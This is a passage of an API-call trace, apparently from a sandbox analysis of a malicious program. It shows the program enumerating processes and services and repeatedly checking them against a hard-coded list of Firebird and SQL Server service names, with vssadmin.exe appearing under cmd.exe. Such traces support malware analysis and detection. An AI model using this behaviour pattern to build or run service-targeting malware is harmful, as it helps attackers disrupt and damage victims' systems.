lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0129.377] lstrlenW (lpString="WdiServiceHost") returned 14 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0129.377] lstrlenW (lpString="WdiSystemHost") returned 13 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0129.377] lstrlenW (lpString="WinDefend") returned 9 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0129.377] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0129.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0129.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0129.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0129.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0129.378] lstrlenW (lpString="Winmgmt") returned 7 [0129.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0129.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0129.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0129.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0129.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0129.378] lstrlenW (lpString="wscsvc") returned 6 [0129.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0129.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0129.378] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0129.378] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0129.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0129.378] lstrlenW (lpString="wuauserv") returned 8 [0129.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0129.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0129.378] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0129.378] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0129.378] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0129.380] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.381] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.381] lstrlenW (lpString="System") returned 6 [0129.381] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.382] lstrlenW (lpString="smss.exe") returned 8 [0129.382] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.383] lstrlenW (lpString="csrss.exe") returned 9 [0129.383] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.383] lstrlenW (lpString="wininit.exe") returned 11 [0129.383] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.384] lstrlenW (lpString="csrss.exe") returned 9 [0129.384] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.385] lstrlenW (lpString="winlogon.exe") returned 12 [0129.385] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.386] lstrlenW (lpString="services.exe") returned 12 [0129.386] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.387] lstrlenW (lpString="lsass.exe") returned 9 [0129.387] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0129.387] lstrlenW (lpString="lsm.exe") returned 7 [0129.387] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.388] lstrlenW (lpString="svchost.exe") returned 11 [0129.388] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.389] lstrlenW (lpString="svchost.exe") returned 11 [0129.389] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.389] lstrlenW (lpString="svchost.exe") returned 11 [0129.389] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.390] lstrlenW (lpString="svchost.exe") returned 11 [0129.390] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.391] lstrlenW (lpString="svchost.exe") returned 11 [0129.391] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.391] lstrlenW (lpString="audiodg.exe") returned 11 [0129.391] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.392] lstrlenW (lpString="svchost.exe") returned 11 [0129.392] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.393] lstrlenW (lpString="svchost.exe") returned 11 [0129.393] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.394] lstrlenW (lpString="dwm.exe") returned 7 [0129.394] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.394] lstrlenW (lpString="explorer.exe") returned 12 [0129.394] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.395] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.395] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0129.396] lstrlenW (lpString="taskhost.exe") returned 12 [0129.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.396] lstrlenW (lpString="svchost.exe") returned 11 [0129.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0129.397] lstrlenW (lpString="taskeng.exe") returned 11 [0129.397] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0129.398] lstrlenW (lpString="taskhost.exe") returned 12 [0129.398] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0129.398] lstrlenW (lpString="fixwaves.exe") returned 12 [0129.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0129.399] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0129.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0129.400] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0129.400] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0129.400] lstrlenW (lpString="monsaver.exe") returned 12 [0129.401] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0129.401] lstrlenW (lpString="dosesugar.exe") returned 13 [0129.401] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0129.402] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0129.402] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0129.403] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0129.403] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0129.403] lstrlenW (lpString="nonprofit top.exe") returned 17 [0129.404] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0129.404] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0129.404] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0129.724] lstrlenW (lpString="accused.exe") returned 11 [0129.724] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0129.725] lstrlenW (lpString="governance.exe") returned 14 [0129.725] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0129.726] lstrlenW (lpString="old.exe") returned 7 [0129.726] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0129.727] lstrlenW (lpString="xi cg.exe") returned 9 [0129.727] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0129.727] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0129.728] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0129.728] lstrlenW (lpString="burlington.exe") returned 14 [0129.728] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0129.740] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0129.741] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0129.859] lstrlenW (lpString="buildings.exe") returned 13 [0129.860] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0129.860] lstrlenW (lpString="predictions_took.exe") returned 20 [0129.860] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0129.861] lstrlenW (lpString="carry_dns.exe") returned 13 [0129.861] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0129.862] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0129.862] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.863] lstrlenW (lpString="svchost.exe") returned 11 [0129.863] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0129.864] lstrlenW (lpString="sppsvc.exe") returned 10 [0129.864] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.864] lstrlenW (lpString="svchost.exe") returned 11 [0129.865] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0129.865] lstrlenW (lpString="msiexec.exe") returned 11 [0129.865] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.866] lstrlenW (lpString="cmd.exe") returned 7 [0129.866] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.867] lstrlenW (lpString="conhost.exe") returned 11 [0129.867] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0129.868] lstrlenW (lpString="vssadmin.exe") returned 12 [0129.868] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0129.869] lstrlenW (lpString="VSSVC.exe") returned 9 [0129.869] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.869] lstrlenW (lpString="svchost.exe") returned 11 [0129.869] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0129.870] CloseHandle (hObject=0x1ac) returned 1 [0129.870] Sleep (dwMilliseconds=0x1f4) [0130.575] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0130.576] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0130.576] GetLastError () returned 0xea [0130.576] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0130.577] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0130.577] lstrlenW (lpString="Appinfo") returned 7 [0130.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0130.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0130.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0130.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0130.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0130.577] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.577] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.577] lstrlenW (lpString="AudioSrv") returned 8 [0130.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0130.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0130.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0130.577] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0130.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0130.577] lstrlenW (lpString="BFE") returned 3 [0130.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.578] 